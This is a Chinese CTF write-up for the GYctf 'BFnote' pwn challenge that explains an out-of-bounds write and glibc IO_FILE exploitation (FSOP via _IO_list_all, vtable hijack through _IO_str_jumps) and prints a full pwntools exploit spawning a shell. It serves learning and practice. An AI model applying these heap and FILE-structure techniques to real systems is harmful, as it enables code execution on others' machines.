GYctf-BFnote IO_FILE还可以这样利用
这次感受到了自己是多么的菜,打完hgame再来打这个感觉完全不是一个等级的pwn题,第一天只做出来一个,算是比较有质量的题吧,从比赛开始卡到我比赛结束,幸亏最后做出来了。
有两个很明显的溢出,第一个是栈溢出0x600,第二个是bss端0x600,然后程序让你输入notebook size,然后申请了相应大小的内存,然后输入titile size,对title size做了个检验,如果大于之前book size就重新输入,但是这里注意一下,新输入的值赋值给了i,但是第二次read是根据最开始输入的size来的,所以这里存在一个越界写的洞。那么接下来说说我自己的利用思路,踩坑无数才找到。
1.malloc 一个0x20000大小的内存,这样他会紧邻libc,偏移固定,所以可以越界写到libc里。这里我选择写到IO_list_all,把他写上bss段的地址,在bss端里伪造好file结构,控制它的虚表也指向bss段,在里面布置好main函数地址,所以程序在返回的时候通过执行exit函数,通过IO_list_all链表找到文件,从而执行该文件结构虚表里的_IO_flush_all_lockp函数,但是此时这个vtable被我们劫持了,无论调用哪个函数都会调用main函数,程序又跳回,这种利用方式是FSOP,同时我们注意到后面还有个fwrite,会输出我们越界写的地方里的内容,观察内存布局我们不难发现,他紧邻stderr,我们在里面填充好数据,就能顺便把stderr里面的libc数据带出来,从而我们可以leak出libc
2.第二次越界写的时候我的第一个方案是改stdout的虚表,劫持虚表到bss段,bss段上埋好one gadget的地址。但是32位的库下one gadget不是很好用。在查阅资料之后,我发现还有另一种劫持虚表的办法,也就是2.24版本libc加入对vtable check之后的办法。加入的check就是检查虚表是否在libc规定的那个范围内,如果不在,就crash,所以那些大佬把目光投向了紧邻IO file jump的IO str jump,通过改虚表指针为IO str jump,从而改变控制流。
调用fwrite最终会走到调用stdout虚表里的IO_xsputn,查阅资料后,我发现可以将其劫持为IO_str_overflow,因为这里有一个我们可以控制的函数指针,那我们应该怎样更改虚表呢。我们都知道虚表跳转是根据偏移来的,比如这次调用IO_xsputn,是虚表里第六项,而IO_str_overflow是第二项,所以我们可以将IO_file_jumps的地址改成IO_str_jumps的地址减16,也就是说下次再调用xsputn,就会根据相应偏移来找到相应的函数地址,再被劫持后调用xsputn就变成了调用IO_str_overflow,
这里我们可以查下源码,这里有几个条件需要绕过:
1.flag位:flag & 0xC00 != 0x400,这也才能保证之后取到write_ptr的值(a1+20 ;//IDA的这个看不习惯可以去查下相关源码,可以更清晰).
2.write_ptr - write_base >buf_end - buf_base.
3.调试时发现的,应该伪造好_lock处的指针指向的值为0.
这样就可以满足条件从而调用文件结构种偏移152处的函数指针指向的函数,参数是(buf_end - buf_base)*2+100,这样我们第二次越界写的时候就给stdout文件来次大换血,将其各处的值伪造好,从而劫持了控制流。
fake_file我是这样伪造的
fake_file = p32(0) #file_flag
fake_file += p32(0)*3 #read_base read_ptr read_end
fake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_end
fake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_end
fake_file = fake_file.ljust(72,'\x00')
fake_file += p32(0x804a080) #bypass get lock
fake_file = fake_file.ljust(144,'\x00')
fake_file += p32(fake+0x40+12+4)*2+p32(system)*2
Exp如下:
from pwn import *
p = process('./BFnote')
p = remote('node3.buuoj.cn',27361)
elf = ELF('./BFnote')
libc1 = ELF('./libc.so.6')
libc2 = elf.libc
print hex(libc1.symbols['_IO_2_1_stdout_'])
print hex(libc2.symbols['_IO_2_1_stdout_'])
#gdb.attach(p,'b* 0x8048907')
p.recvuntil('Give your description : ')
p.sendline('a'*0x10)
p.recvuntil('Give your postscript : ')
fake_file = p32(0xfbad2086)
fake_file += p32(0x0)*3+p32(0x0)+p32(0x1)
fake_file = fake_file.ljust(0x94,'\x00')
fake_file += p32(0x804a060+0xa0)
fake_file = fake_file.ljust(0xa0,'\x00')
fake_file += p32(0x8048761)*20
p.sendline(fake_file)
p.recvuntil('Give your notebook size : ')
p.sendline(str(0x20000))
p.recvuntil('Give your title size : ')
#size = 0x22000+0x1b3ca0
p.sendline(str(0x1b3ca0+0x20fe8-0x2000)) #remote
p.sendline(str(0x1b3ca0+0x20fe8))
p.recvuntil('invalid ! please re-enter :\n')
p.sendline(str(0x10))
p.recvuntil('Give your title : ')
p.sendline('a'*0x8)
p.recvuntil('Give your note : ')
p.sendline(p32(0x804a060)*2+'a'*0x4c)
p.recvuntil('a'*0x4c)
libc_addr = u32(p.recv(4))
libc_err = libc_addr - 74
#libc_base = libc_err - libc2.symbols['_IO_2_1_stderr_']
libc_base = libc_err - libc1.symbols['_IO_2_1_stderr_'] #remote
system = libc_base + libc1.symbols['system'] #remote
#system = libc_base + libc2.symbols['system']
print hex(system)
print '[+]stderr_addr: '+hex(libc_err)
print '[+]libc_base: '+hex(libc_base)
print '[+]system_addr: '+hex(system)
p.recvuntil('Give your description : ')
p.sendline('\x00'*0x10)
p.recvuntil('Give your postscript : ')
p.sendline('/bin/sh'.ljust(0x100,'\x00'))
p.recvuntil('Give your notebook size : ')
p.sendline(str(0x20000))
p.recvuntil('Give your title size : ')
#size = 0x43000 + libc1.symbols['_IO_2_1_stdout_']+0x90 #remote
size = 0x43000 + libc2.symbols['_IO_2_1_stdout_']+0x90
fake = libc_base + libc1.symbols['_IO_file_jumps'] #remote
#fake = libc_base + libc2.symbols['_IO_file_jumps']
print hex(size)
p.sendline(str(size-0xa8-0x2000)) #remote
p.sendline(str(size-0xa8))
p.recvuntil('invalid ! please re-enter :\n')
p.sendline(str(0x10))
p.recvuntil('Give your title : ')
p.sendline('a'*0x8)
p.recvuntil('Give your note : ')
fake_file = p32(0) #file_flag
fake_file += p32(0)*3 #read_base read_ptr read_end
fake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_end
fake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_end
fake_file = fake_file.ljust(72,'\x00')
fake_file += p32(0x804a080) #bypass get lock
fake_file = fake_file.ljust(144,'\x00')
fake_file += p32(fake+0x40+12+4)*2+p32(system)*2
p.sendline(fake_file)
#gdb.attach(p)
p.interactive()
总结一下:
发现越界写的漏洞,第一次越界写IO list all,利用FSOP是程序重新跳回main函数执行,同时填充缓冲区使其在调用fwrite时可以leak出libc地址,第二次越界写就篡改stdout文件,劫持其虚表,从而getshell
点击阅读原文做实验:《缓冲区溢出基础与实践》
http://www.hetianlab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de
(了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法,学会进行常见的缓冲区溢出攻击。)
点击阅读原文做实验
干货精选:2019原创干货集锦 | 掌握学习主动权
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!
看都看完了,还不点这里试试
GYctf-BFnote IO_FILE还可以这样利用相关推荐
- 废旧的电脑硬盘还可以这样利用起来,太赞了!!
今天笔者带大家了解一下如今我们家中的废旧电脑的有关小妙招吧,相信这些小技巧一定会让各位读者了解到更多新奇的小知识.我们都知道进入本世纪以来电脑逐渐走进千家万户,家用电脑也由原来的台式机不断缩小体积变得 ...
- 如何查看光驱硬盘托架的尺寸_「二次利用」没想到废光驱电机还可以这样利用...
废光驱电机改无刷电机,这里说的无刷电机是微型的电机,用于遥控模型飞机做动力的.其实就是微型的三相交流电机了.要使用专用的无刷电调来驱动. 拆开废光驱,拆下光盘驱动电机,各种品牌的结构尺寸可能不大一样. ...
- IO_FILE 与高版本 glibc 中的漏洞利用技巧
前言 在日常的二进制漏洞利用过程中,最终在获取到任意地址读写之都会面临一个问题: 要从哪里读,写到哪里去.对于信息泄露有很多方法,比如寻找一些数据结构在内存中残留的地址,可以是内部结构,也可以是用户定 ...
- 利用Python渗透实现沙箱逃逸,看黑客是如何绕过网站的防护的?
让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中.沙 ...
- 借助gdb调试glibc代码学习House of Orange
转自: https://bbs.pediy.com/thread-251195.htm house_of_orange https://www.jianshu.com/p/1e45b785efc1 借 ...
- 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...
- pwn题堆利用的一些姿势 -- IO_FILE
IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...
- linux IO_FILE 利用
FILE 结构 IO FILE 定义的各种主要结构关系如下图所示. 各种文件结构采用单链表的形式连接起来,通过 _IO_list_all 访问. vatble 为函数指针结构体,存放着各种 IO 相关 ...
- sctf_2019_easy_heap off-by-null劫持IO_FILE,理解 0ctf2015 free_note unsortedbin-double_free使用
sctf_2019_easy_heap 分析以及漏洞点 本身off-by-null没什么可以再说的,但是这道题没有show函数,就必须想到要劫持IO_FILE.但是之前就一直有个问题就是既然unsor ...
最新文章
- NLP入门之路及学习方法:从任务实践入手!
- 导师:CNN 开山之作 AlexNet 都复现不了,延毕吧!
- 著名ERP厂商的SSO单点登录解决方案介绍一
- c语言第四章循环程序设计,C语言程序设计教程第4章-循环结构程序设计
- ubuntu第一次设置root密码
- 优秀的领导与差劲的领导
- CF-1023F.Mobile Phone Network(并查集缩点)
- 二进制转base64
- HDU:4185-Oil Skimming
- 我是 Spring 菜鸟 -- 初始化方法 TODO
- 业界首发|云原生领域首本架构白皮书重磅发布
- 分享Silverlight/WPF/Windows Phone/HTML5一周学习导读(1月9日-1月15日)
- 动态代理和静态代理的区别_动态代理与静态代理
- 如何查看VS命令行选项,并使用命令卸载VS
- 计算机中官方文档阅读方法,中国知网-帮助中心
- 打印容器_化妆品公司购买3D打印机能干什么?
- iOS 屏幕旋转的实践解析
- Uva--10098 (next_permutation)
- 牛客假日团队赛6 F:Mud Puddles
- 华为交换机的基本配置命令